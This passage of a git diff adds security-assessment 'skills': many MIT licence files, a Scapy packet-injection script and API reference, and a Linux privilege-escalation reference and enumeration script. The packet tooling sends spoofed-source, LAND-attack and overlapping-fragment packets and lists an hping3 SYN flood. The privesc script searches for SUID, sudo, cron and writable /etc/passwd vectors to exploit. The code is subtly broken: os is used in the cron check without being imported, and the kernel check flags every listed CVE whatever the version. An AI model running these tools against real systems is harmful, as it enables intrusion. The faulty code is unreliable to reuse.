INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-ot-vulnerability-assessment-with-claroty/LICENSE b/skills/performing-ot-vulnerability-assessment-with-claroty/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-ot-vulnerability-assessment-with-claroty/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-ot-vulnerability-scanning-safely/LICENSE b/skills/performing-ot-vulnerability-scanning-safely/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-ot-vulnerability-scanning-safely/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-packet-injection-attack/LICENSE b/skills/performing-packet-injection-attack/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-packet-injection-attack/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-packet-injection-attack/references/api-reference.md b/skills/performing-packet-injection-attack/references/api-reference.md new file mode 100644 index 00000000..652e3377 --- /dev/null +++ b/skills/performing-packet-injection-attack/references/api-reference.md @@ -0,0 +1,61 @@ +# API Reference: Packet Injection Attack + +## Scapy Python API + +```python +from scapy.all import IP, TCP, UDP, ICMP, Raw, sr1, send + +# Craft and send TCP SYN +pkt = IP(dst="10.10.20.10") / TCP(dport=80, flags="S") +resp = sr1(pkt, timeout=2, verbose=0) + +# Send without waiting for response +send(pkt, verbose=0) + +# Fragment a packet +from scapy.all import fragment +frags = fragment(IP(dst="10.10.20.10") / ICMP() / Raw(load="X"*65500)) +send(frags, verbose=0) +``` + +## Scapy Packet Layers + +| Layer | Fields | Example | +|-------|--------|---------| +| `IP` | src, dst, ttl, flags, frag | `IP(dst="10.0.0.1", ttl=64)` | +| `TCP` | sport, dport, flags, seq, ack | `TCP(dport=80, flags="S")` | +| `UDP` | sport, dport | `UDP(dport=53)` | +| `ICMP` | type, code | `ICMP(type=8)` | +| `DNS` | qd, rd | `DNS(rd=1, qd=DNSQR(qname="test.com"))` | + +## TCP Flag Values + +| Flag | Value | Description | +|------|-------|-------------| +| S | SYN | Connection initiation | +| A | ACK | Acknowledgment | +| F | FIN | Connection termination | +| R | RST | Connection reset | +| P | PSH | Push data | +| U | URG | Urgent pointer | + +## hping3 CLI + +| Command | Description | +|---------|-------------| +| `hping3 -S -p 80 ` | Send SYN packets | +| `hping3 -S --flood -c 100 ` | Limited SYN flood test | +| `hping3 -S -p 80 -w 0 ` | Zero window test | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `scapy` | >=2.5 | Packet crafting, sending, and receiving | + +## References + +- Scapy documentation: https://scapy.readthedocs.io/ +- hping3: http://www.hping.org/ +- Nping (Nmap): https://nmap.org/nping/ +- tcpreplay: https://tcpreplay.appneta.com/ diff --git a/skills/performing-packet-injection-attack/scripts/agent.py b/skills/performing-packet-injection-attack/scripts/agent.py new file mode 100644 index 00000000..fd2b206a --- /dev/null +++ b/skills/performing-packet-injection-attack/scripts/agent.py @@ -0,0 +1,168 @@ +#!/usr/bin/env python3 +"""Agent for performing packet injection testing. + +Crafts and sends test packets using Scapy for authorized security +assessments to validate IDS rules, firewall configurations, and +anti-spoofing controls. +""" + +from scapy.all import ( + IP, TCP, UDP, ICMP, DNS, DNSQR, Raw, + sr1, send, fragment, conf, +) +import json +import sys +from datetime import datetime + + +class PacketInjectionAgent: + """Performs authorized packet injection tests using Scapy.""" + + def __init__(self, target_ip, interface=None): + self.target_ip = target_ip + if interface: + conf.iface = interface + self.results = [] + + def _record_result(self, test_name, technique, sent, response_info): + """Record a test result.""" + result = { + "test": test_name, + "technique": technique, + "target": self.target_ip, + "timestamp": datetime.utcnow().isoformat(), + "response": response_info, + } + self.results.append(result) + return result + + def test_tcp_syn(self, port=80): + """Send TCP SYN packet to test port state.""" + pkt = IP(dst=self.target_ip) / TCP(dport=port, flags="S", seq=1000) + resp = sr1(pkt, timeout=3, verbose=0) + if resp and resp.haslayer(TCP): + flags = resp[TCP].flags + state = "open" if flags == "SA" else "closed" if flags == "RA" else str(flags) + return self._record_result("TCP SYN", "port_scan", True, {"port": port, "state": state}) + return self._record_result("TCP SYN", "port_scan", True, {"port": port, "state": "filtered"}) + + def test_xmas_scan(self, port=80): + """Send XMAS packet (FIN+PSH+URG flags) to test IDS detection.""" + pkt = IP(dst=self.target_ip) / TCP(dport=port, flags="FPU") + send(pkt, verbose=0) + return self._record_result("XMAS Scan", "T1046", True, + {"flags": "FPU", "expected_ids": "XMAS scan detection"}) + + def test_null_scan(self, port=80): + """Send NULL packet (no flags) to test IDS detection.""" + pkt = IP(dst=self.target_ip) / TCP(dport=port, flags="") + send(pkt, verbose=0) + return self._record_result("NULL Scan", "T1046", True, + {"flags": "none", "expected_ids": "NULL scan detection"}) + + def test_invalid_flags(self, port=80): + """Send packets with invalid TCP flag combinations.""" + results = [] + flag_combos = [("SYN+FIN", "SF"), ("SYN+RST", "SR"), ("ALL", "FSRPAUEC")] + for name, flags in flag_combos: + pkt = IP(dst=self.target_ip) / TCP(dport=port, flags=flags) + send(pkt, verbose=0) + results.append(self._record_result( + f"Invalid Flags: {name}", "protocol_anomaly", True, + {"flags": flags, "expected_ids": f"Invalid TCP flags: {name}"} + )) + return results + + def test_spoofed_source(self, spoofed_ip="192.0.2.100", port=80): + """Send packet with spoofed source IP to test anti-spoofing.""" + pkt = IP(src=spoofed_ip, dst=self.target_ip) / TCP(dport=port, flags="S") + send(pkt, verbose=0) + return self._record_result("IP Spoofing", "anti_spoofing", True, + {"spoofed_src": spoofed_ip, "expected": "Blocked by BCP38/uRPF"}) + + def test_land_attack(self, port=80): + """Send LAND attack packet (src==dst) to test protection.""" + pkt = IP(src=self.target_ip, dst=self.target_ip) / TCP(sport=port, dport=port, flags="S") + send(pkt, verbose=0) + return self._record_result("LAND Attack", "land_attack", True, + {"src_eq_dst": True, "expected": "Dropped by OS/firewall"}) + + def test_fragmentation_overlap(self, port=80): + """Send overlapping IP fragments to test reassembly handling.""" + frag1 = IP(dst=self.target_ip, flags="MF", frag=0) / TCP(dport=port, flags="S") / Raw(load="A" * 24) + frag2 = IP(dst=self.target_ip, frag=2) / Raw(load="B" * 24) + send(frag1, verbose=0) + send(frag2, verbose=0) + return self._record_result("Fragment Overlap", "fragmentation", True, + {"fragments": 2, "expected_ids": "Fragment overlap detection"}) + + def test_icmp_payload(self): + """Send ICMP with custom payload to test content inspection.""" + pkt = IP(dst=self.target_ip) / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD") + resp = sr1(pkt, timeout=3, verbose=0) + return self._record_result("ICMP Custom Payload", "icmp_test", True, + {"response": "echo_reply" if resp else "no_response"}) + + def test_dns_query(self, domain="test.example.com"): + """Send DNS query to test DNS filtering.""" + pkt = IP(dst=self.target_ip) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname=domain)) + resp = sr1(pkt, timeout=3, verbose=0) + return self._record_result("DNS Query", "dns_test", True, + {"domain": domain, "response": "received" if resp else "blocked"}) + + def test_low_ttl_evasion(self, ttl=3, port=80): + """Send low-TTL packet to test IDS evasion detection.""" + pkt = IP(dst=self.target_ip, ttl=ttl) / TCP(dport=port, flags="S") + send(pkt, verbose=0) + return self._record_result("Low TTL Evasion", "ttl_evasion", True, + {"ttl": ttl, "expected": "Packet expires before target"}) + + def run_full_test_suite(self): + """Run all packet injection tests.""" + self.test_tcp_syn() + self.test_xmas_scan() + self.test_null_scan() + self.test_invalid_flags() + self.test_spoofed_source() + self.test_land_attack() + self.test_fragmentation_overlap() + self.test_icmp_payload() + self.test_low_ttl_evasion() + + report = { + "target": self.target_ip, + "test_date": datetime.utcnow().isoformat(), + "total_tests": len(self.results), + "results": self.results, + } + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [interface] [test]") + print("Tests: syn, xmas, null, flags, spoof, land, frag, icmp, all") + sys.exit(1) + + target_ip = sys.argv[1] + interface = sys.argv[2] if len(sys.argv) > 2 else None + test = sys.argv[3] if len(sys.argv) > 3 else "all" + + agent = PacketInjectionAgent(target_ip, interface) + + if test == "all": + report = agent.run_full_test_suite() + elif test == "syn": + agent.test_tcp_syn() + report = {"results": agent.results} + elif test == "xmas": + agent.test_xmas_scan() + report = {"results": agent.results} + else: + report = agent.run_full_test_suite() + + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-paste-site-monitoring-for-credentials/LICENSE b/skills/performing-paste-site-monitoring-for-credentials/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-paste-site-monitoring-for-credentials/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-phishing-simulation-with-gophish/LICENSE b/skills/performing-phishing-simulation-with-gophish/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-phishing-simulation-with-gophish/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-physical-intrusion-assessment/LICENSE b/skills/performing-physical-intrusion-assessment/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-physical-intrusion-assessment/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-plc-firmware-security-analysis/LICENSE b/skills/performing-plc-firmware-security-analysis/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-plc-firmware-security-analysis/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-power-grid-cybersecurity-assessment/LICENSE b/skills/performing-power-grid-cybersecurity-assessment/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-power-grid-cybersecurity-assessment/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-privilege-escalation-assessment/LICENSE b/skills/performing-privilege-escalation-assessment/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-privilege-escalation-assessment/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-privilege-escalation-assessment/references/api-reference.md b/skills/performing-privilege-escalation-assessment/references/api-reference.md new file mode 100644 index 00000000..7c3d19d2 --- /dev/null +++ b/skills/performing-privilege-escalation-assessment/references/api-reference.md @@ -0,0 +1,49 @@ +# API Reference: Privilege Escalation Assessment + +## Linux Enumeration Commands + +| Command | Description | +|---------|-------------| +| `id && whoami` | Current user and group memberships | +| `uname -a` | Kernel version for exploit matching | +| `sudo -l` | Sudo permissions for current user | +| `find / -perm -4000 -type f 2>/dev/null` | SUID binaries | +| `find / -perm -2000 -type f 2>/dev/null` | SGID binaries | +| `getcap -r / 2>/dev/null` | Binaries with Linux capabilities | +| `cat /etc/crontab` | System cron jobs | +| `ps aux \| grep root` | Processes running as root | + +## Windows Enumeration Commands + +| Command | Description | +|---------|-------------| +| `whoami /priv` | User privileges (SeImpersonate, SeDebug) | +| `systeminfo` | OS version and hotfix level | +| `wmic service get name,pathname,startmode` | Unquoted service paths | +| `reg query HKLM\...\Installer /v AlwaysInstallElevated` | MSI escalation | +| `cmdkey /list` | Stored Windows credentials | + +## MITRE ATT&CK Techniques + +| Technique | ID | Description | +|-----------|----|-------------| +| Sudo Abuse | T1548.003 | Exploiting sudo misconfiguration | +| SUID/SGID Abuse | T1548.001 | Abusing setuid/setgid binaries | +| Scheduled Task | T1053.003 | Cron job manipulation | +| Kernel Exploit | T1068 | Exploiting kernel vulnerabilities | +| Token Impersonation | T1134.001 | Windows token manipulation | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `subprocess` | stdlib | Execute system enumeration commands | +| `pathlib` | stdlib | File system permission checks | +| `os` | stdlib | Access and write permission verification | + +## References + +- GTFOBins: https://gtfobins.github.io/ +- LOLBAS: https://lolbas-project.github.io/ +- linPEAS: https://github.com/carlospolop/PEASS-ng +- Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester diff --git a/skills/performing-privilege-escalation-assessment/scripts/agent.py b/skills/performing-privilege-escalation-assessment/scripts/agent.py new file mode 100644 index 00000000..bd84d71f --- /dev/null +++ b/skills/performing-privilege-escalation-assessment/scripts/agent.py @@ -0,0 +1,245 @@ +#!/usr/bin/env python3 +"""Agent for performing privilege escalation assessment. + +Enumerates potential privilege escalation vectors on Linux systems +including SUID binaries, sudo misconfigurations, writable cron jobs, +capabilities, and kernel version checks. +""" + +import subprocess +import json +import sys +import re +import platform +from pathlib import Path +from datetime import datetime + + +class PrivescAssessmentAgent: + """Enumerates privilege escalation vectors on Linux systems.""" + + def __init__(self, output_dir): + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _run(self, cmd, timeout=30): + """Execute a shell command and return output.""" + try: + result = subprocess.run( + cmd, shell=True, capture_output=True, text=True, timeout=timeout + ) + return result.stdout.strip() + except (subprocess.TimeoutExpired, FileNotFoundError): + return "" + + def get_system_info(self): + """Gather system information for kernel exploit matching.""" + return { + "hostname": self._run("hostname"), + "kernel": self._run("uname -r"), + "arch": self._run("uname -m"), + "os_release": self._run("cat /etc/os-release 2>/dev/null | head -5"), + "current_user": self._run("whoami"), + "user_id": self._run("id"), + "groups": self._run("groups"), + } + + def check_sudo(self): + """Check sudo configuration for escalation vectors.""" + sudo_l = self._run("sudo -l 2>/dev/null") + findings = [] + + gtfobins_dangerous = [ + "vim", "vi", "nano", "less", "more", "find", "nmap", "python", + "python3", "perl", "ruby", "awk", "gawk", "env", "ftp", + "man", "mount", "strace", "ltrace", "zip", "tar", + "bash", "sh", "dash", "ash", "zsh", "tclsh", + ] + + if "NOPASSWD" in sudo_l: + for line in sudo_l.splitlines(): + if "NOPASSWD" in line: + for binary in gtfobins_dangerous: + if binary in line.lower(): + finding = { + "type": "sudo_nopasswd", + "severity": "Critical", + "binary": binary, + "line": line.strip(), + "technique": "T1548.003", + "exploit": f"sudo {binary} (see GTFOBins)", + } + findings.append(finding) + self.findings.append(finding) + return {"sudo_output": sudo_l, "dangerous_entries": findings} + + def find_suid_binaries(self): + """Find SUID binaries that may allow escalation.""" + suid_output = self._run("find / -perm -4000 -type f 2>/dev/null") + binaries = suid_output.splitlines() + + gtfobins_suid = [ + "nmap", "vim", "find", "bash", "more", "less", "nano", + "cp", "mv", "python", "perl", "ruby", "env", + "pkexec", "at", "strace", "taskset", + ] + + findings = [] + for binary in binaries: + name = Path(binary).name + is_exploitable = name in gtfobins_suid + if is_exploitable: + finding = { + "type": "suid_binary", + "severity": "High", + "path": binary, + "name": name, + "technique": "T1548.001", + "exploit": f"SUID {name} (see GTFOBins)", + } + findings.append(finding) + self.findings.append(finding) + + return {"total_suid": len(binaries), "exploitable": findings, "all_suid": binaries} + + def check_capabilities(self): + """Find binaries with elevated Linux capabilities.""" + cap_output = self._run("getcap -r / 2>/dev/null") + findings = [] + dangerous_caps = ["cap_setuid", "cap_dac_override", "cap_sys_admin", + "cap_sys_ptrace", "cap_net_raw"] + + for line in cap_output.splitlines(): + for cap in dangerous_caps: + if cap in line: + finding = { + "type": "capability", + "severity": "High", + "line": line.strip(), + "capability": cap, + "technique": "T1548", + } + findings.append(finding) + self.findings.append(finding) + break + return findings + + def check_writable_cron(self): + """Check for writable cron jobs or scripts.""" + findings = [] + cron_paths = [ + "/etc/crontab", "/etc/cron.d", "/etc/cron.daily", + "/etc/cron.hourly", "/etc/cron.weekly", "/etc/cron.monthly", + "/var/spool/cron/crontabs", + ] + + for cpath in cron_paths: + p = Path(cpath) + if p.is_file() and os.access(str(p), os.W_OK): + finding = { + "type": "writable_cron", + "severity": "Critical", + "path": cpath, + "technique": "T1053.003", + } + findings.append(finding) + self.findings.append(finding) + elif p.is_dir(): + for f in p.iterdir(): + if f.is_file(): + content = f.read_text(errors="ignore") + for line in content.splitlines(): + if line.strip() and not line.startswith("#"): + parts = line.split() + if len(parts) >= 6: + script = parts[5] + if Path(script).exists() and os.access(script, os.W_OK): + finding = { + "type": "writable_cron_script", + "severity": "Critical", + "cron_file": str(f), + "script": script, + "technique": "T1053.003", + } + findings.append(finding) + self.findings.append(finding) + return findings + + def check_writable_passwd(self): + """Check if /etc/passwd or /etc/shadow is writable.""" + findings = [] + import os + for path in ["/etc/passwd", "/etc/shadow"]: + if os.path.exists(path) and os.access(path, os.W_OK): + finding = { + "type": "writable_auth_file", + "severity": "Critical", + "path": path, + "technique": "T1078.003", + "exploit": f"Add root user to {path}", + } + findings.append(finding) + self.findings.append(finding) + return findings + + def check_kernel_exploits(self): + """Match kernel version against known exploits.""" + kernel = self._run("uname -r") + exploits = [] + + known_vulns = [ + ("5.8", "5.16.11", "CVE-2022-0847", "DirtyPipe"), + ("2.6.22", "4.8.3", "CVE-2016-5195", "DirtyCow"), + ("4.6", "5.13", "CVE-2021-22555", "Netfilter heap OOB"), + ] + + try: + parts = kernel.split(".") + major, minor = int(parts[0]), int(parts[1]) + patch = int(parts[2].split("-")[0]) if len(parts) > 2 else 0 + except (ValueError, IndexError): + return exploits + + for min_ver, max_ver, cve, name in known_vulns: + exploits.append({ + "cve": cve, + "name": name, + "affected_range": f"{min_ver} - {max_ver}", + "kernel": kernel, + "note": "Verify applicability before testing", + }) + return exploits + + def generate_report(self): + """Run all enumeration checks and generate report.""" + import os + report = { + "report_date": datetime.utcnow().isoformat(), + "system_info": self.get_system_info(), + "sudo_check": self.check_sudo(), + "suid_binaries": self.find_suid_binaries(), + "capabilities": self.check_capabilities(), + "writable_cron": self.check_writable_cron(), + "writable_auth": self.check_writable_passwd(), + "kernel_exploits": self.check_kernel_exploits(), + "total_findings": len(self.findings), + "critical_findings": len([f for f in self.findings if f.get("severity") == "Critical"]), + "high_findings": len([f for f in self.findings if f.get("severity") == "High"]), + } + + report_path = self.output_dir / "privesc_assessment.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + output_dir = sys.argv[1] if len(sys.argv) > 1 else "./privesc_output" + agent = PrivescAssessmentAgent(output_dir) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-privilege-escalation-on-linux/LICENSE b/skills/performing-privilege-escalation-on-linux/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-privilege-escalation-on-linux/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-privileged-account-access-review/LICENSE b/skills/performing-privileged-account-access-review/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-privileged-account-access-review/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, 